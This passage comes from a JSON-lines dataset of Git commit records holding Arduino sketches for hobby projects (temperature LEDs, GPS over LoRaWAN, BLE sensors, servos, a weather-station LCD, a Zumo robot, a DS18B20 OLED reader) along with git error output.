if(dt>0) \/\/If temperature above saved\n {\n analogWrite(BLUE_LED,0);\n analogWrite(RED_LED,dt*255\/HALFRANGE); \/\/Signal with red led\n }\n else\n {\n analogWrite(RED_LED,0);\n analogWrite(BLUE_LED,-dt*255\/HALFRANGE); \/\/Signal with blue led\n }\n\n\/\/Write temperature on serial\n Serial.print(temperature);\n Serial.println(\" K\");\n\n\/\/Wait 300ms\n delay(300);\n}\n\n\/\/This function is called when the pushbutton1 is pressed\nvoid resetTemp0()\n{\n \/\/Save Last read as Zero Temperature \n temp0=temperature;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/1.Basics\/Stellar_Temp_RGB\/Stellar_Temp_RGB.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"53e6e1d16d6f4408048ce8731d7d5035cf5f82b9","subject":"Create adxl345multifreq.ino","message":"Create adxl345multifreq.ino","repos":"nashworth\/exploring-options","old_file":"src\/adxl345multifreq.ino","new_file":"src\/adxl345multifreq.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/adxl345multifreq.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e9c739e99e6e4f327ff3a558d6ee8367e541697","subject":"Added the Arduino Sketch","message":"Added the Arduino Sketch\n","repos":"tyler-cromwell\/Acid","old_file":"ACID.ino","new_file":"ACID.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tyler-cromwell\/Acid.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8caf21c1a5788974e07dfad8e4fe1b4f1663d69b","subject":"Add SLS_GPS_LoRa","message":"Add SLS_GPS_LoRa\n","repos":"soracom\/SORACOM-LoRaWAN","old_file":"SLS_GPS_LoRa\/SLS_GPS_LoRa.ino","new_file":"SLS_GPS_LoRa\/SLS_GPS_LoRa.ino","new_contents":"\/**\r\n * SLS_GPS_LoRa\r\n * (c) 2017 SORACOM, INC.\r\n *\/\r\n#include <SoftwareSerial.h>\r\n#include <TinyGPS.h>\r\n#include <lorawan_client.h>\r\n\r\n\/\/ If you are using other pins, update accordingly\r\n#define GPS_TX_PIN 8 \/\/ Arduino 8pin to GPS module TX\r\n#define GPS_RX_PIN 9 \/\/ Arduino 9pin to GPS module RX\r\n\r\n\/\/ Define to send data via LORAWAN\r\n#define USE_LORAWAN\r\n\r\n#define SEND_INTERVAL 15000\r\n\r\n\/\/ Sensor may return small different values at the same place\r\n#define SIGMA_LONG_LATLNG 300\r\n#define SIGMA_METER_ALT 50\r\n#define LAT_LONG_MIN -90000000\r\n#define LAT_LONG_MAX 90000000\r\n#define LNG_LONG_MIN -180000000\r\n#define LNG_LONG_MAX 180000000\r\n#define ALT_MIN -10000\r\n#define ALT_MAX 10000\r\n\r\n#define WIRELESS_LORA 1\r\n#define SENSOR_GPS 1\r\n#define LORAWAN_GPS_HEADER ((WIRELESS_LORA << 5) + SENSOR_GPS) \/\/ (LoRa=1) << 5 + (GPS=1) = 0x21\r\n\r\nSoftwareSerial gpsSerial(GPS_TX_PIN, GPS_RX_PIN);\r\nTinyGPS tinyGps;\r\n\r\n#ifdef USE_LORAWAN\r\nLoRaWANClient lorawanClient;\r\n#endif\r\n\r\nunsigned long updated_time = 0L;\r\nunsigned long sent_time = 0L;\r\n\r\n\/\/ The struct to sent data via LoRaWAN. Max 11 bytes\r\nstruct SLS_GPS {\r\n byte header; \/\/ LORAWAN_GPS_HEADER\r\n long lat; \/\/ Can store as MILLIONTHs of a degree\r\n long lng; \/\/ 180 is stored as 180,000,000\r\n short alt; \/\/ -32,768 < alt < 32,767 (meter)\r\n};\r\nSLS_GPS sls_gps = {LORAWAN_GPS_HEADER, 0, 0, 0};\r\nSLS_GPS sls_gps_prev = {LORAWAN_GPS_HEADER, 0, 0, 0};\r\n\r\nvoid setup() {\r\n Serial.begin(9600);\r\n Serial.println(\"Connecting ... \");\r\n gpsSerial.begin(9600);\r\n\r\n#ifdef USE_LORAWAN\r\n if (!lorawanClient.connect()) {\r\n Serial.println(\" failed to connect. Halt...\");\r\n for(;;){};\r\n }\r\n#endif\r\n}\r\n\r\nvoid loop() {\r\n const bool is_updated = get_location();\r\n if (is_updated)\r\n updated_time = millis();\r\n\r\n \/\/ Send data\r\n \/\/ Note that sending can happen in a different loop from the updated one.\r\n \/\/ Unsigned operation should work after millis overflow. \r\n if (updated_time > sent_time && (sent_time == 0 || millis() - sent_time > SEND_INTERVAL)) {\r\n const bool is_sent = send_location();\r\n if (is_sent) {\r\n sent_time = millis();\r\n sls_gps_prev = sls_gps;\r\n }\r\n }\r\n}\r\n\r\n\/**\r\n * Set updated data to sls_gps variable\r\n * \r\n * @return true if the sensor detects the new location\r\n * The new gps data is stored in sls_gps\r\n *\/\r\nbool get_location() {\r\n \/\/ activate GPS serial\r\n gpsSerial.listen();\r\n while (gpsSerial.available()) {\r\n const int c = gpsSerial.read();\r\n \/\/ Serial.print((char)c);\r\n if (tinyGps.encode(c)) {\r\n \/\/ process new gps info\r\n \/\/ retrieves +\/- lat\/long in 100000ths of a degree\r\n tinyGps.get_position(&sls_gps.lat, &sls_gps.lng);\r\n sls_gps.alt = tinyGps.altitude() \/ 100;\r\n\r\n byte hour, minutes, second;\r\n tinyGps.crack_datetime(NULL, NULL, NULL, &hour, &minutes, &second, NULL);\r\n \r\n Serial.print(\"got data \");\r\n Serial.print(\"lat=\"); Serial.print(sls_gps.lat);\r\n Serial.print(\", lng=\"); Serial.print(sls_gps.lng);\r\n Serial.print(\", alt=\"); Serial.print(sls_gps.alt); Serial.print(\"(m)\u3000\");\r\n Serial.print(hour); Serial.print(\":\"); Serial.print(minutes); Serial.print(\":\"); Serial.print(second); Serial.println(\"UTC\");\r\n\r\n if (is_valid(sls_gps) && !is_almost_same(sls_gps, sls_gps_prev))\r\n return true;\r\n }\r\n }\r\n \r\n return false;\r\n}\r\n\r\n\/**\r\n * @return true if location is roughly valid\r\n *\/\r\nbool is_valid(SLS_GPS gps) {\r\n return gps.lat >= LAT_LONG_MIN && gps.lat <= LAT_LONG_MAX \r\n && gps.lng >= LNG_LONG_MIN && gps.lng <= LNG_LONG_MAX \r\n && gps.alt >= ALT_MIN && gps.alt <= ALT_MAX;\r\n}\r\n\r\n\/**\r\n * @return true if both gps are same location\r\n *\/\r\nbool is_almost_same(SLS_GPS lhs, SLS_GPS rhs) {\r\n return abs(lhs.lat - rhs.lat) < SIGMA_LONG_LATLNG\r\n && abs(lhs.lng - rhs.lng) < SIGMA_LONG_LATLNG\r\n && abs(lhs.alt - rhs.alt) < SIGMA_METER_ALT;\r\n}\r\n\r\n\/**\r\n * Send gps data sls_gps via lorawan\r\n *\/\r\nbool send_location() { \r\n Serial.print(\"sending data \");\r\n Serial.print(\"lat=\"); Serial.print(sls_gps.lat \/ 1000000.0D, 9);\r\n Serial.print(\", lng=\"); Serial.print(sls_gps.lng \/ 1000000.0D, 9);\r\n Serial.print(\", alt=\"); Serial.print(sls_gps.alt); Serial.println(\"(m)\");\r\n\r\n#ifdef USE_LORAWAN\r\n \/\/ note the endian in the server side\r\n lorawanClient.sendBinary((byte *)&sls_gps, sizeof(sls_gps));\r\n#endif\r\n\r\n return true;\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SLS_GPS_LoRa\/SLS_GPS_LoRa.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3118e34b11c3a6256bd830c6f00639423996adee","subject":"Blink LED and go to low-power","message":"Blink LED and go to low-power\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"sketches\/tests\/snooze_blink\/snooze_blink.ino","new_file":"sketches\/tests\/snooze_blink\/snooze_blink.ino","new_contents":"\/**\n * Blink a LED on DI04 (DIO on Jeenode port 1) using as little power\n * as possible.\n *\n * This is jcw's \"snoozeBlink\" sketch with modified sleep times.\n *\n\n * 2015-08-14 modified <bill@jamimi.com>\n * Note:\n * jcw is bypassing all the Arduino routines and using the\n * ATmega328p registers directly\n *\n * Original \"snoozeBlink\" sketch:\n * 2011-12-28 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n * Modifications\n * 2014-08-15 <bill@jamimi.com> http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <JeeLib.h>\n\n#define LED 4 \/\/ DIO1 = PD4 = Arduino digital 4\n#define PULSE 48 \/\/ how long to keep the LED on, in milliseconds\n\n\/\/ boilerplate for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\nvoid setup () {\n \/\/ configure LED pin, start off (i.e. low)\n bitSet(DDRD, LED);\n \/\/ turn the radio off in the most power-efficient manner\n Sleepy::loseSomeTime(32);\n rf12_initialize(17, RF12_868MHZ, 5);\n rf12_sleep(RF12_SLEEP);\n \/\/ wait another 2s for the power supply to settle\n Sleepy::loseSomeTime(2000);\n}\n\nvoid loop () {\n \/\/ turn LED briefly on, then off for the rest of the cycle\n bitSet(PORTD, LED);\n Sleepy::loseSomeTime(PULSE);\n bitClear(PORTD, LED);\n Sleepy::loseSomeTime(29 * PULSE);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/tests\/snooze_blink\/snooze_blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca35ab90443e0ac12e8f3e55b1e56217dc99fecb","subject":"very simple clock","message":"very simple clock\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ClockRTC\/ClockRTC.ino","new_file":"modules\/ClockRTC\/ClockRTC.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"53e770eccaaf73000a90983296c323b2cd9a3fc2","subject":"Nam you are magnificent","message":"Nam you are magnificent\n","repos":"GW-Robotics\/2018-Firefighter","old_file":"2018-FirefighterL1\/PrimitiveFunctions.ino","new_file":"2018-FirefighterL1\/PrimitiveFunctions.ino","new_contents":"void rightTurn(int delay){\n rightMotor.set(rightSpeed);\n delay(delay);\n rightMotor.set(0);\n}\n\nvoid leftTurn(int delay){\n leftMotor.set(leftSpeed);\n delay(delay);\n leftMotor.set(0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2018-FirefighterL1\/PrimitiveFunctions.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"631395337b18cc02b9a6f85a646bf65d4eeb798e","subject":"Test two characteristics","message":"Test two characteristics\n","repos":"aelillie\/ReRide_Platform,aelillie\/ReRide_Platform","old_file":"Peripheral\/TwoSensorsValue\/TwoSensorsValue.ino","new_file":"Peripheral\/TwoSensorsValue\/TwoSensorsValue.ino","new_contents":"#include <CurieBLE.h>\n\nBLEPeripheral blePeripheral;\nBLEService pressureSensorService = BLEService (\"181C\");\n\nBLEUnsignedCharCharacteristic sensorOneReadingChar(\"2A80\", BLERead | BLENotify); \/\/Age\n\nBLEUnsignedCharCharacteristic sensorTwoReadingChar(\"2A98\", BLERead | BLENotify); \/\/Weight\n\n\/\/int fakeSensorValue = 0;\nint sensorOne, sensorTwo;\nString test, test1, test2;\n\nvoid setup() {\n Serial.begin(9600);\n blePeripheral.setLocalName(\"ReRide\");\n blePeripheral.setAdvertisedServiceUuid(pressureSensorService.uuid());\n blePeripheral.addAttribute(pressureSensorService);\n blePeripheral.addAttribute(sensorOneReadingChar);\n blePeripheral.addAttribute(sensorTwoReadingChar);\n blePeripheral.begin();\n Serial.println(\"Bluetooth device active, waiting for connections...\");\n}\n\nvoid loop()\n{\n\n BLECentral central = blePeripheral.central();\n\n if (central) {\n Serial.print(\"Connected to central: \");\n\n Serial.println(central.address());\n\n sensorOne = 25;\/\/analogRead(0);\n sensorTwo = 50;\/\/analogRead(1);\n \/* test = String(\"Time :\" , millis());\n test1 = String(\"Sensor 1 :\" , currentState);\n test2 = String(\"Sensor 2 :\" , fakeSensorValue);*\/\n Serial.print(\"Time\");\n Serial.println(millis());\n\n Serial.print(\"Sensor 1 : \");\n \/\/Serial.println(map(sensorOne, 800, 1023, 0, 1023));\n\n Serial.print(\"Sensor 2 : \");\n \/\/Serial.println(map(sensorTwo, 800, 1023, 0, 1023));\n\n \/\/Serial.println(test);\n \/\/Serial.println(test1);\n \/\/Serial.println(test2);\n sensorTwoReadingChar.setValue(sensorTwo);\n sensorOneReadingChar.setValue(sensorOne);\n \/\/fakeSensorValue++;\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Peripheral\/TwoSensorsValue\/TwoSensorsValue.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"17d7e8056c2be6935c512c3bdc32c47ea13a1850","subject":"Initial commit based on Sweep example","message":"Initial commit based on Sweep example\n","repos":"acj\/dee-oh-tee","old_file":"dee-oh-tee.ino","new_file":"dee-oh-tee.ino","new_contents":"#include <Servo.h>\n\nconst int buttonPin = 10;\n\nconst int minPanAngle = 700;\nconst int maxPanAngle = 2300;\n\nServo panServo;\nServo tiltServo;\n\nint panAngleDegrees;\nint tiltServoDegrees;\n\nvoid setup() {\n pinMode(buttonPin, INPUT_PULLUP);\n \n \/\/ 0, 2, 3, 4, 5, 6, 7, 10, 12, 13\n panServo.attach(2);\n tiltServo.attach(4);\n}\n\nvoid loop() {\n int buttonState = digitalRead(buttonPin);\n\n if (buttonState == LOW) {\n for (panAngleDegrees = minPanAngle; panAngleDegrees <= maxPanAngle; panAngleDegrees += 3) {\n panServo.writeMicroseconds(panAngleDegrees);\n tiltServo.writeMicroseconds(panAngleDegrees);\n delay(15);\n }\n for (panAngleDegrees = maxPanAngle; panAngleDegrees >= minPanAngle; panAngleDegrees -= 3) {\n panServo.writeMicroseconds(panAngleDegrees);\n tiltServo.writeMicroseconds(panAngleDegrees);\n delay(15);\n }\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"728ffd83b7612916e2f58cc5de75057309f2f4e1","subject":"Add meteo LCD display","message":"Add meteo LCD display\n","repos":"jkozerski\/meteo,jkozerski\/meteo,jkozerski\/meteo,jkozerski\/meteo,jkozerski\/meteo","old_file":"meteo_lcd\/meteo_lcd.ino","new_file":"meteo_lcd\/meteo_lcd.ino","new_contents":"\/\/ Uncomment define DEBUG line to build with debug logs (on serial)\n\/\/ This line MUST be before meteo_common.h include to make any effect\n\/\/#define DEBUG\n\n#include <DHT.h> \/\/ Temp and humidity\n#include <Wire.h> \/\/ Pressure\n#include <Adafruit_BMP085.h> \/\/ Pressure\n#include <meteo_common.h> \/\/ Common function for meteo\n#include <LiquidCrystal_I2C.h> \/\/ LCD display\n\n\/*\nUsed Arduino ports:\n\n| Port | Purpose | Desc. |\n+------+-------------------+----------------------------------+\n| 2 | DHT22 | Temp & Humid sensor (inside) |\n| 4 | DHT22 | Temp & Humid sensor (outside) |\n+------+-------------------+----------------------------------+\n| A5 | BMP180 (SCL) | Air pressure sensor (SCL) |\n| A5 | HD44780 (SCL) | LCD Display (SCL) |\n| A5 | DS3231 (SCL) | RTC Clock (SCL) | \n+------+-------------------+----------------------------------+\n| A4 | BMP180 (SDA) | Air pressure sensor (SDA) |\n| A4 | HD44780 (SDA) | LCD Display (SDA) |\n| A4 | DS3231 (SDA) | RTC Clock (SDA) |\n+------+-------------------+----------------------------------+\n| *GND | 5 x GND | 2xDHT22, BMP180, HD44780, DS3231 |\n+------+-------------------+----------------------------------+\n| *+5V | 5 x power supply | 2xDHT22, BMP180, HD44780, DS3231 |\n+------+-------------------+----------------------------------+\n (*) Ground and +5V can be taken directly from power supply\n*\/\n\n\/*\nDisplay configuration\n\n 01234567890123456789\n+--------------------+\n|In: Err \u00b0C Err% RH|\n|In: -20.5\u00b0C 100% RH|\n|Out:-20.5\u00b0C 100% RH|\n| 1013,9 hPa|\n|12:34:56 12.12.2017|\n+--------------------+\n *\/\n\n\n\/\/ LEDs\n#define DEBUG_LED 13\n\n\/\/ Temp + Humidity inside\n#define DHT_IN_PIN 2\n#define DHT_IN_TYPE DHT22\nDHT dht_in(DHT_IN_PIN, DHT_IN_TYPE);\n\n\/\/ Temp + Humidity outside\n#define DHT_OUT_PIN 2\n#define DHT_OUT_TYPE DHT22\nDHT dht_out(DHT_OUT_PIN, DHT_OUT_TYPE);\n\n\n\/\/ Pressure (BMP180 used)\nAdafruit_BMP085 bmp;\n\n\n\/\/ LCD Display\nLiquidCrystal_I2C lcd(0x27, 20, 4); \/\/ set the LCD address to 0x27 for a 20 chars and 4 line display\n\n\n\/\/ TODO: Add RTC\n\n\n\/\/ Error value\nconst int32_t err_val = 200000;\n\nvoid setup ()\n{\n #ifdef DEBUG\n \/\/ Open serial port for debug\n Serial.begin(9600);\n LOGLN(\"Setup begin\");\n #endif\n\n \/\/ LCD\n lcd.init();\n\n \/\/ LEDs\n pinMode(DEBUG_LED, OUTPUT);\n digitalWrite(DEBUG_LED, LOW);\n\n lcd.backlight();\n \/\/lcd.noBacklight();\n \/\/lcd.noCursor();\n \/\/lcd.noBlink()\n lcd.setCursor(5, 0);\n lcd.print(\"Witamy!\");\n lcd.setCursor(1, 1);\n lcd.print(\"Stacja pogodowa\");\n lcd.setCursor(7, 2);\n lcd.print(\"wersja D_0.1\");\n\n \/\/ Sleep for setup dht sensors\n delay(2000);\n\n \/\/ initalize temperature and humidity sensor\n dht_in.begin();\n dht_out.begin();\n\n if (!bmp.begin(3)) { \/\/ init pressure sensor with high precission param - 3\n LOGLN(\"Cannot initalize BMP (pressure) sensor\");\n error_blink(5);\n digitalWrite(DEBUG_LED, HIGH); \/\/ if error turn debug LED on\n delay(5000);\n digitalWrite(DEBUG_LED, LOW);\n }\n\n LOGLN(\"Setup end\");\n}\n\nvoid draw_template()\n{\n lcd.setCursor(0, 0);\n lcd.print(\"In: \u00b0C % RH\");\n lcd.setCursor(0, 1);\n lcd.print(\"Out: \u00b0C % RH\");\n lcd.setCursor(0, 2);\n lcd.print(\" hPa\");\n lcd.setCursor(0, 3);\n lcd.print(\" \");\n}\n\nvoid set_error (int cur, int line)\n{\n lcd.setCursor(cur, line);\n lcd.print(\"Err\");\n}\n\nvoid fill_data(float temp_in, float temp_out, float humid_in, float humid_out, int32_t pressure)\n{\n int cur;\n char buff[6];\n\n if (temp_in >= err_val) {\n set_error(5, 0);\n }\n else {\n cur = 6;\n if (temp_in < 0)\n cur--;\n if (temp_in <= -10.0 || temp_in >= 10.0)\n cur--;\n lcd.setCursor(cur, 0);\n \/\/lcd.print(\"%.1f\", temp_in);\n dtostrf(temp_in, 3, 1, buff);\n lcd.print(buff);\n }\n\n\n if (humid_in >= err_val) {\n set_error(13, 0);\n }\n else {\n cur = 15;\n if (humid_in >= 10.0)\n cur--;\n if (humid_in >= 100.0)\n cur--;\n lcd.setCursor(cur, 0);\n \/\/lcd.print(\"%.0f\", humid_in);\n dtostrf(humid_in, 1, 0, buff);\n lcd.print(buff);\n }\n\n\n if (temp_out >= err_val) {\n set_error(5, 1);\n }\n else {\n cur = 6;\n if (temp_out < 0)\n cur--;\n if (temp_out <= -10.0 || temp_out >= 10.0)\n cur--;\n lcd.setCursor(cur, 1);\n \/\/lcd.print(\"%.1f\", temp_out);\n dtostrf(temp_out, 3, 1, buff);\n lcd.print(buff);\n }\n\n if (humid_out >= err_val) {\n set_error(13, 1);\n }\n else {\n cur = 15;\n if (humid_out >= 10.0)\n cur--;\n if (humid_out >= 100.0)\n cur--;\n lcd.setCursor(cur, 1);\n \/\/lcd.print(\"%.0f\", humid_out);\n dtostrf(humid_out, 1, 0, buff);\n lcd.print(buff);\n }\n\n cur = 11;\n if (pressure >= 100000)\n cur--;\n lcd.setCursor(cur, 2);\n \/\/lcd.print(\"%.1f\", (float) pressure\/100.0);\n dtostrf(pressure\/100.0, 5, 1, buff);\n lcd.print(buff);\n}\n\nvoid loop ()\n{\n LOGLN(\"Loop\");\n\/\/ error_blink(1);\n float temp_in = dht_in.readTemperature();\n float humid_in = dht_in.readHumidity();\n float temp_out = dht_out.readTemperature();\n float humid_out = dht_out.readHumidity();\n int32_t pressure = bmp.readPressure();\n\n\n \/\/ ##### Temperature inside #####\n \/\/ Check value\n if (isnan(temp_in)) {\n \/\/ blink LED on error\n LOGLN(\"temp_in is NaN\");\n error_blink(1);\n temp_in = err_val; \/\/ERR\n }\n else { \/\/ Temp in OK\n \n }\n\n \n \/\/ ##### Temperature outside #####\n \/\/ Check value\n if (isnan(temp_out)) {\n \/\/ blink LED on error\n LOGLN(\"temp_out is NaN\");\n error_blink(1);\n temp_out = err_val; \/\/ERR\n }\n else { \/\/ Temp out OK\n \n }\n\n\n \/\/ ##### Humidity inside #####\n \/\/ Check value\n if(isnan(humid_in)) {\n \/\/ blink LED on error\n LOGLN(\"humid_in is NaN\");\n error_blink(1);\n humid_in = err_val; \/\/ERR\n }\n\n\n \/\/ ##### Humidity outside #####\n \/\/ Check value\n if(isnan(humid_out)) {\n \/\/ blink LED on error\n LOGLN(\"humid_out is NaN\");\n error_blink(1);\n humid_out = err_val; \/\/ERR\n }\n\n\n \/\/ ##### Pressure #####\n \/\/ Nothing to do here\n\n\n draw_template();\n fill_data(temp_in, temp_out, humid_in, humid_out, pressure);\n\n \n LOG(\"delay \"); LOGLN(delay_time);\n delay(delay_time);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'meteo_lcd\/meteo_lcd.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"83db4617d4d751f6f70f72666063f31968f02b1f","subject":"opened perms on controller ino to fix","message":"opened perms on controller ino to fix\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/controller\/src\/src.ino","new_file":"nduino\/controller\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"211e01ba95435e60208f5e1c858aac528e0dde9a","subject":"Create Zumo_startAttackright.ino","message":"Create Zumo_startAttackright.ino","repos":"tutturen\/max_speed_backflip_robot","old_file":"Zumo_startAttackright.ino","new_file":"Zumo_startAttackright.ino","new_contents":"\/\/rygger og svinger og roterer mot venstre. \n\n\n#include <ZumoMotors.h>\n#include <Pushbutton.h>\n\n\nZumoMotors motors;\nPushbutton button(ZUMO_BUTTON);\n\nconst int MAX_SPEED = 400;\n\nvoid setup() {\n button.waitForButton();\n \/\/ put your setup code here, to run once:\n if(100 > 0){\n motors.setSpeeds(-200, -200);\n delay(1000);\n motors.setSpeeds(200, -200);\n delay(300);\n motors.setSpeeds(400, 400);\n }\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Zumo_startAttackright.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"477558a7fd0c16dd53bb3d1b39465d3133a8b4fa","subject":"Final v3 for Macron Museum Piano","message":"Final v3 for Macron Museum Piano\n\nAdded smaller but thicker Org_01 .h font for \u201cPLAY ME\u201d\nAdded volume sensitivity adjustment using Teensy Audio Adapter\nPotentiometer.\n","repos":"CymaSpace\/Light-Installations","old_file":"LED Piano\/Playme_Piano_v3\/Playme_Piano_v3.ino","new_file":"LED Piano\/Playme_Piano_v3\/Playme_Piano_v3.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LED' did not match any file(s) known to git\nerror: pathspec 'Piano\/Playme_Piano_v3\/Playme_Piano_v3.ino' did not match any file(s) known to git\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"a08c82e8c6cbf81b3a550ff0cddd50a28d9137d4","subject":"added example with DS18B20 sensor","message":"added example with DS18B20 sensor\n","repos":"TaylorHokanson\/CAAint","old_file":"Modules\/ESP32_DS18B20_oled\/ESP32_DS18B20_oled.ino","new_file":"Modules\/ESP32_DS18B20_oled\/ESP32_DS18B20_oled.ino","new_contents":"\/* \n * For ESP32-WROOM board (OLED, battery, full pin breakout) \n * \n * Board: Wemos Wifi&Bluetooth Battery \n * Flash: 80Mhz\n * Upload: 921600\n * Port: cu.SLAB_USBtoUART\n * Prog: AVRISPmkII\n * \n * \n * ESP 22 >> Temperature sensor signal\n * ESP VCC >> Temp vcc\n * ESP GND >> temp GND\n * \n *\/\n#include <U8x8lib.h> \/\/this is inside the required library U8g2\n#include <OneWire.h>\n\/\/ OneWire DS18S20, DS18B20, DS1822 Temperature Example\n\n\/\/ the OLED used\nU8X8_SSD1306_128X64_NONAME_SW_I2C u8x8(\/* clock=*\/ 4, \/* data=*\/ 5, \/* reset=*\/U8X8_PIN_NONE );\n\nOneWire ds(22); \/\/ on pin 3 (a 4.7K pullup resistor is necessary)\n\nvoid setup() {\n Serial.begin(9600);\n u8x8.begin();\n u8x8.setFont(u8x8_font_chroma48medium8_r);\n u8x8.setFlipMode(1); \/\/remove if screen is flipped\n}\n\nvoid loop(){\n \n byte i;\n byte present = 0;\n byte type_s;\n byte data[12];\n byte addr[8];\n float celsius, fahrenheit;\n \n if ( !ds.search(addr)) {\n Serial.println(\"No more addresses.\");\n Serial.println();\n ds.reset_search();\n delay(250);\n return;\n }\n \n Serial.print(\"ROM =\");\n for( i = 0; i < 8; i++) {\n Serial.write(' ');\n Serial.print(addr[i], HEX);\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"CRC is not valid!\");\n return;\n }\n Serial.println();\n\n u8x8.drawString(0, 0, \"Chip: \");\n \n \/\/ the first ROM byte indicates which chip\n switch (addr[0]) {\n case 0x10:\n Serial.println(\" Chip = DS18S20\"); \/\/ or old DS1820\n u8x8.drawString(6, 0, \"DS18S20\");\n type_s = 1;\n break;\n case 0x28:\n Serial.println(\" Chip = DS18B20\");\n u8x8.drawString(6, 0, \"DS18B20\");\n type_s = 0;\n break;\n case 0x22:\n Serial.println(\" Chip = DS1822\");\n u8x8.drawString(6, 0, \"DS1822\");\n type_s = 0;\n break;\n default:\n Serial.println(\"Device is not a DS18x20 family device.\");\n u8x8.drawString(6, 0, \"not a DS18x20!\");\n return;\n } \n\n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n \n delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n \n present = ds.reset();\n ds.select(addr); \n ds.write(0xBE); \/\/ Read Scratchpad\n\n Serial.print(\" Data = \");\n Serial.print(present, HEX);\n Serial.print(\" \");\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n Serial.print(data[i], HEX);\n Serial.print(\" \");\n }\n Serial.print(\" CRC=\");\n Serial.print(OneWire::crc8(data, 8), HEX);\n Serial.println();\n\n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n celsius = (float)raw \/ 16.0;\n fahrenheit = celsius * 1.8 + 32.0;\n Serial.print(\" Temperature = \");\n Serial.print(celsius);\n Serial.print(\" Celsius, \");\n Serial.print(fahrenheit);\n Serial.println(\" Fahrenheit\");\n \n u8x8.drawString(0, 1, \"Celsius: \");\n u8x8.setCursor(11, 1);\n u8x8.print(celsius);\n u8x8.drawString(0, 2, \"Fahrenheit: \");\n u8x8.setCursor(11, 2);\n u8x8.print(fahrenheit);\n\ndelay(5000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/ESP32_DS18B20_oled\/ESP32_DS18B20_oled.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3878657ce95a500ad3d241240f9e278f5dad1209","subject":"ADD: Trying a different library","message":"ADD: Trying a different library\n","repos":"ericasaywhat\/marionette,ericasaywhat\/marionette","old_file":"microSD\/microSD-SimpleSD\/microSD-SimpleSD.ino","new_file":"microSD\/microSD-SimpleSD\/microSD-SimpleSD.ino","new_contents":" #include <SimpleSDAudio.h>\n \n void setup()\n {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n \n \/\/ Using F(\"...\") to avoid wasting RAM \n Serial.print(F(\"\\nInitializing SD card...\")); \n \n 